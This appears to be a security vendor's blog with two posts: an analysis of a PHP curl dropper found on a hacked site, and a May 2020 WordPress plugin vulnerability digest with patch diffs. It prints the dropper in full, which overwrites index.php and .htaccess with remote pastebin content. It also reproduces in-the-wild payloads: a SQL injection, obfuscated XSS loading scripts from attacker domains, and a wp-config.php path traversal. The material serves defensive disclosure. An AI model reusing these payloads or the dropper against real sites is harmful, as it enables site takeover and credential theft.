Category: Security Education

Malicious Curl Downloader

If you want to easily download and save remote files, curl is an excellent command-line tool for Windows and Unix. It supports HTTP, HTTPS, and FTP protocols and allows for custom HTTP headers, which makes it a common feature in some of the malware we find on compromised sites.

For example, during a recent cleanup we found this malicious script using curl to download code from pastebin.com and save it into a local file on the website.

<?php 

chmod($_SERVER['DOCUMENT_ROOT']."/wp-load.php", 0644);
chmod($_SERVER['DOCUMENT_ROOT']."/index.php", 0644);
chmod($_SERVER['DOCUMENT_ROOT']."/.htaccess", 0644);
chmod($_SERVER['DOCUMENT_ROOT']."/wp-load.php", 0644);
chmod($_SERVER['DOCUMENT_ROOT']."/index.php", 0644);
chmod($_SERVER['DOCUMENT_ROOT']."/.htaccess", 0644);

function http_get($url){
    $im = curl_init($url);
    curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($im, CURLOPT_HEADER, 0);
    return curl_exec($im);
    curl_close($im);
}

$hector0 = $_SERVER['DOCUMENT_ROOT'] . "/.htaccess" ;
$hectortxt2 = http_get('hxxps://pastebin.com/raw/VgBTWCqv');
file_put_contents($hector0, $hectortxt2);

$hector777 = $_SERVER['DOCUMENT_ROOT'] . "/index.php" ;
$hectortxt777 = http_get('hxxps://pastebin.com/raw/ELF1BqnD');
$open777 = fopen($hector777, 'w');
fwrite($open777, $hectortxt777);
fclose($open777);

?>

The http_get function initiates curl and downloads the malicious content before file_put_contents is used to save the malicious content into the appropriate file. fwrite was also used for some reason, likely for compatibility purposes.

In this case, the malicious code is downloading additional backdoors and malware — but the pastebin.com file defined here can be easily modified to instruct the malware to download anything the attacker wants.

One of the best methods to prevent and detect the modification of your index.php files is to set up tighter file permissions that restrict write access and employ a file integrity monitoring tool to notify you of any changes. Or, simply use a website firewall to mitigate the compromise in the first place.

Jun 2, 2020 by Krasimir Konov

Vulnerabilities Digest: May 2020

Relevant Plugins and Vulnerabilities:

Plugin Vulnerability Patched Version Installs
WP Product Review Unauthenticated Stored XSS 3.7.6 40000
Form Maker by 10Web Authenticated SQL Injection --- 100000
Add-on SweetAlert Contact Form 7 Authenticated XSS 1.0.8 20
Paid Memberships Pro Authenticated SQL Injection 2.3.3 90000
Visual Composer Authenticated XSS 27 80000
Team Members Authenticated XSS 5.0.4 40000
Photo Gallery by 10Web Unauthenticated SQL Injection 1.5.55 300000
Login/Signup Popup Authenticated XSS 1.5 10000
Easy Testimonials Authenticated Stored XSS 3.6 30000
WooCommerce Unescaped Metadata 4.1.0 5000000
Page Builder by SiteOrigin CSRF to XSS 2.10.16 1000000
Chopslider Authenticated SQL Injection --- 200
Elementor Pro Authenticated File Upload 2.9.4 100000
LearnPress Privilege Escalation 3.2.6.9 80000
Elementor Authenticated Stored XSS 2.9.8 4000000
Avada Authenticated Stored XSS 6.2.3 500000
Ninja Forms CSRF to Stored XSS 3.4.24.2 1000000
Advanced Order Export For Woo Authenticated XSS 3.1.4 90000
Quick Page/Post redirect Authenticated Settings Update --- 100000
Ultimate Addons for Elementor Registration Bypass 1.24.2 100000
WTI Like Post Authenticated XSS --- 10000
WP-Advanced-Search Authenticated SQL Injection 3.3.7 1000
Gmedia Photo Gallery Authenticated XSS 1.18.5 10000

Highlights for May 2020

  • Cross site scripting is still the most prevalent vulnerability. Bad actors are taking advantage of the lack of restrictions in critical functions and issues surrounding user input data sanitization.
  • Unprotected AJAX action bugs are still on the rise. Attackers aren’t hesitating to automate malicious injections for vulnerable plugins.
  • Attackers have added three plugins and a series of new malicious IPs to their arsenal in an ongoing massive malware campaign targeting WordPress websites with known vulnerabilities.

Details for these highlights can be found under the components listed below.

WP Product Review

Two weeks ago, we reported an Unauthenticated Stored Cross Site Scripting in WP Product Review caused by a lack of protection in a rest route definition and improper handling of user input.

Only a few days after the disclosure of this vulnerability, attackers began to scan for vulnerable sites: 

181.58.21.65 - - [18/May/2020:17:21:10 +0000] "GET //wp-content/plugins/wp-product-review/assets/js/main.js HTTP/1.1"

139.198.16.241 - - [18/May/2020:17:15:36 +0000] "GET //wp-content/plugins/wp-product-review/readme.txt HTTP/1.1" 

185.162.127.248 - - [17/May/2020:03:38:15 +0000] "GET /wp-content/plugins/wp-product-review/assets/js/main.js HTTP/1.1" 

213.159.210.170 - - [17/May/2020:01:35:04 +0000] "GET /wp-content/plugins/wp-product-review/assets/js/main.js HTTP/1.1"

Patch (version 3.7.6):

Index: wp-product-review/trunk/includes/gutenberg/class-wppr-gutenberg.php
===================================================================
--- a/wp-product-review/trunk/includes/gutenberg/class-wppr-gutenberg.php
+++ b/wp-product-review/trunk/includes/gutenberg/class-wppr-gutenberg.php
@@ -97,4 +97,7 @@
                 'methods'  => 'POST',
                 'callback' => array( $this, 'update_review_callback' ),
+                'permission_callback' => function () {
+                    return current_user_can( 'edit_posts' );
+                },
                 'args'     => array(
                     'id' => array(

---

Index: wp-product-review/trunk/includes/functions.php
===================================================================
--- a/wp-product-review/trunk/includes/functions.php
+++ b/wp-product-review/trunk/includes/functions.php
@@ -229,5 +229,5 @@
         }
         ?>
-        <a title="<?php echo $review_object->get_name(); ?>" class="<?php echo $class_a; ?>" href="<?php echo esc_url( $image_link ); ?>" <?php echo $lightbox; ?> rel="nofollow" target="_blank">
+        <a title="<?php echo esc_attr( $review_object->get_name() ); ?>" class="<?php echo $class_a; ?>" href="<?php echo esc_url( $image_link ); ?>" <?php echo $lightbox; ?> rel="nofollow" target="_blank">
             <img
                 src="<?php echo esc_attr( $src ); ?>"

Elementor

Earlier this month, the plugin Elementor Pro fixed an arbitrary file upload vulnerability caused by an unprotected Ajax hook. It wasn’t long before attackers started exploiting this vulnerability.

Our team identified these malicious IPs trying to detect plugin installations for both Elementor Pro and Ultimate Addons for Elementor: 

69.164.207.140 - - [08/May/2020:15:59:31 +0000] "GET /wp-content/plugins/elementor-pro/assets/js/preview.min.js HTTP/1.1" 

45.79.193.100 - - [08/May/2020:16:49:13 +0000] "GET /wp-content/plugins/ultimate-elementor/assets/css/modules/business-hours.css HTTP/1.1" 

62.210.172.66 - - [10/May/2020:02:33:29 +0000] "GET /wp-content/plugins/ultimate-elementor/assets/min-js/uael-registration.min.js HTTP/1.1" 

62.210.84.69 - - [13/May/2020:08:13:57 +0000] "GET /wp-content/plugins/elementor-pro/assets/css/frontend.min.css HTTP/1.1" 

62.210.172.66 - - [13/May/2020:08:21:05 +0000] "GET /wp-content/plugins/elementor-pro/assets/css/frontend.min.css HTTP/1.1" 

[...]

Photo Gallery by 10Web

An unauthenticated SQL Injection was fixed this month in the plugin Photo Gallery.

Patch (version 1.5.55):

Index: photo-gallery/trunk/frontend/models/model.php
===================================================================
--- a/photo-gallery/trunk/frontend/models/model.php
+++ b/photo-gallery/trunk/frontend/models/model.php
@@ -197,32 +197,32 @@

   public function get_alb_gals_row( $bwg, $id, $albums_per_page, $sort_by, $order_by, $pagination_type = 0, $from = '' ) {
-    if ( $albums_per_page < 0 ) {
+    if ( $albums_per_page < 0 ) {
       $albums_per_page = 0;
     }
     global $wpdb;
-    $order_by = 'ORDER BY </span><span style='color:#02d045; '>'</span> <span style='color:#d2cd86; '>.</span> <span style='color:#d2cd86; '>(</span> <span style='color:#d2cd86; '>(</span><span style='color:#d2cd86; '>!</span>empty<span style='color:#d2cd86; '>(</span>$from<span style='color:#d2cd86; '>)</span> <span style='color:#d2cd86; '>&&</span> $from <span style='color:#d2cd86; '>===</span> <span style='color:#02d045; '>'</span><span style='color:#00c4c4; '>widget</span><span style='color:#02d045; '>'</span><span style='color:#d2cd86; '>)</span> <span style='color:#b060b0; '>?</span> <span style='color:#02d045; '>'</span><span style='color:#00c4c4; '>id</span><span style='color:#02d045; '>'</span> <span style='color:#b060b0; '>:</span> $sort_by <span style='color:#d2cd86; '>)</span> <span style='color:#d2cd86; '>.</span> <span style='color:#02d045; '>'</span><span style='color:#00c4c4; '> ' . $order_by;
-    if( $sort_by == 'random' || $sort_by == 'RAND()' ) {
-      $order_by = 'ORDER BY RAND()';
-    }
-    $search_where = '';
-    $search_value = trim( WDWLibrary::get('bwg_search_' . $bwg) );
-    if ( !empty($search_value) ) {
-      $search_keys = explode(' ', $search_value);
+    $order_by = 'ORDER BY </span><span style='color:#02d045; '>'</span> <span style='color:#d2cd86; '>.</span> <span style='color:#d2cd86; '>(</span> <span style='color:#d2cd86; '>(</span> <span style='color:#d2cd86; '>!</span>empty<span style='color:#d2cd86; '>(</span> $from <span style='color:#d2cd86; '>)</span> <span style='color:#d2cd86; '>&&</span> $from <span style='color:#d2cd86; '>===</span> <span style='color:#02d045; '>'</span><span style='color:#00c4c4; '>widget</span><span style='color:#02d045; '>'</span> <span style='color:#d2cd86; '>)</span> <span style='color:#b060b0; '>?</span> <span style='color:#02d045; '>'</span><span style='color:#00c4c4; '>id</span><span style='color:#02d045; '>'</span> <span style='color:#b060b0; '>:</span> $sort_by <span style='color:#d2cd86; '>)</span> <span style='color:#d2cd86; '>.</span> <span style='color:#02d045; '>'</span><span style='color:#00c4c4; '> ' . $order_by;
+    if ( $sort_by == 'random' || $sort_by == 'RAND()' ) {
+      $order_by = 'ORDER BY RAND()';
+    }
+    $search_where = '';
+    $search_value = trim( WDWLibrary::get( 'bwg_search_' . $bwg ) );
+    if ( !empty( $search_value ) ) {
+      $search_keys = explode( ' ', $search_value );
       $alt_search = '(';
       $description_search = '(';

Payload Used by Attackers:

185.162.127.248 -- POST -- /wp-admin/admin-ajax.php -- action=bwg_frontend_data&bwg_search_0=1%23+%25DFGDFG%22%29%29%2F%2A%2A%2FUNION%2F%2A%2A%2FALL%2F%2A%2A%2FSELECT%2F%2A%2A%2FTABLE_SCHEMA%2CTABLE_NAME%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2C%27%27%2F%2A%2A%2Fas%2F%2A%2A%2Fdummy_3%2F%2A%2A%2Ffrom%2F%2A%2A%2Finformation_schema.tables%23FGDFGDFG%29%29%23&gallery_type=album_compact_preview&type_0=album -- 2020-05-17

Plugin & Theme Payloads Added to Ongoing Campaign

Malicious Domains & Detected IPs

Our team saw the following new malicious domains injected into an ongoing campaign exploiting known WordPress vulnerabilities this month: 

css[.]digestcolect[.]com
cls[.]balantfromsun[.]com
count[.]trackstatisticsss[.]com

The following IPs have also been associated with this campaign:

79.133.202.70
154.43.128.23
185.162.127.248
51.83.70.152
213.159.210.170
139.162.28.41
139.99.169.192
185.217.0.224
84.238.108.177
62.210.180.8
[...]

 

Exploit Attempts Seen in the Wild

Our team identified attacks against the following vulnerable plugins and themes.

Bold Page Builder (From Last Year)
139.162.28.41 -- POST -- /wp-admin/admin-ajax.php?action=bt_bb_set_custom_css -- css=%3C%2Fstyle%3E%3Cscript++type%3Dtext%2Fjavascript+language%3Djavascript%3Eeval%28String.fromCharCode%2832%2C40%2C102%2C117%2C110%2C99%2C116%2C105%2C111%2C110%2C40%2C41%2C32%2C123%2C10%2C32%2C32%2C32%2C32%2C118%2C97%2C114%2C32%2C101%2C108%2C101%2C109%2C32%2C61%2C32%2C100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C99%2C114%2C101%2C97%2C116%2C101%2C69%2C108%2C101%2C109%2C101%2C110%2C116%2C40%2C39%2C115%2C99%2C114%2C105%2C112%2C116%2C39%2C41%2C59%2C32%2C10%2C9%2C101%2C108%2C101%2C109%2C46%2C116%2C121%2C112%2C101%2C32%2C61%2C32%2C39%2C116%2C101%2C120%2C116%2C47%2C106%2C97%2C118%2C97%2C115%2C99%2C114%2C105%2C112%2C116%2C39%2C59%2C32%2C10%2C32%2C32%2C32%2C32%2C101%2C108%2C101%2C109%2C46%2C115%2C114%2C99%2C32%2C61%2C32%2C39%2C104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C99%2C108%2C115%2C46%2C98%2C97%2C108%2C97%2C110%2C116%2C102%2C114%2C111%2C109%2C115%2C117%2C110%2C46%2C99%2C111%2C109%2C47%2C99%2C108%2C115%2C46%2C106%2C115%2C63%2C122%2C61%2C54%2C38%2C39%2C59%2C10%2C32%2C32%2C32%2C32%2C100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C103%2C101%2C116%2C69%2C108%2C101%2C109%2C101%2C110%2C116%2C115%2C66%2C121%2C84%2C97%2C103%2C78%2C97%2C109%2C101%2C40%2C34%2C104%2C101%2C97%2C100%2C34%2C41%2C91%2C48%2C93%2C46%2C97%2C112%2C112%2C101%2C110%2C100%2C67%2C104%2C105%2C108%2C100%2C40%2C101%2C108%2C101%2C109%2C41%2C59%2C10%2C32%2C32%2C125%2C41%2C40%2C41%2C59%29%29%3B%3C%2Fscript%3E%3Cstyle%3E&post_id=1 -- 2020-05-12
WP Quick Booking Manager (from 4 years ago)
139.162.28.41 - action=gen_save_cssfixfront&css=%3C%2Fstyle%3E%3Cscript+type%3D%27text%2Fjavascript%27+src%3D%27https%3A%2F%2Fcss.digestcolect.com%2Fstm%3Fv%3Dl6.0.0%27%3E%3C%2Fscript%3E%3Cstyle%3E&cssfix=front [12/May/2020:04:52:19 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1"
Duplicator Download
62.210.180.8 - - [14/May/2020:14:45:54 +0000] "GET /wp-admin/admin-ajax.php?action=duplicator_download&file=../wp-config.php HTTP/1.1"

Many other plugins are still under attack and public exploits already exist for all of the components listed above. Please check our previous lab notes for more information about this ongoing WordPress Malware campaign.

To mitigate threat, we strongly encourage you to keep your software up to date to prevent infection and mitigate risk to your environment. Websites behind the Sucuri Firewall are protected against these exploits.

May 29, 2020 by John Castro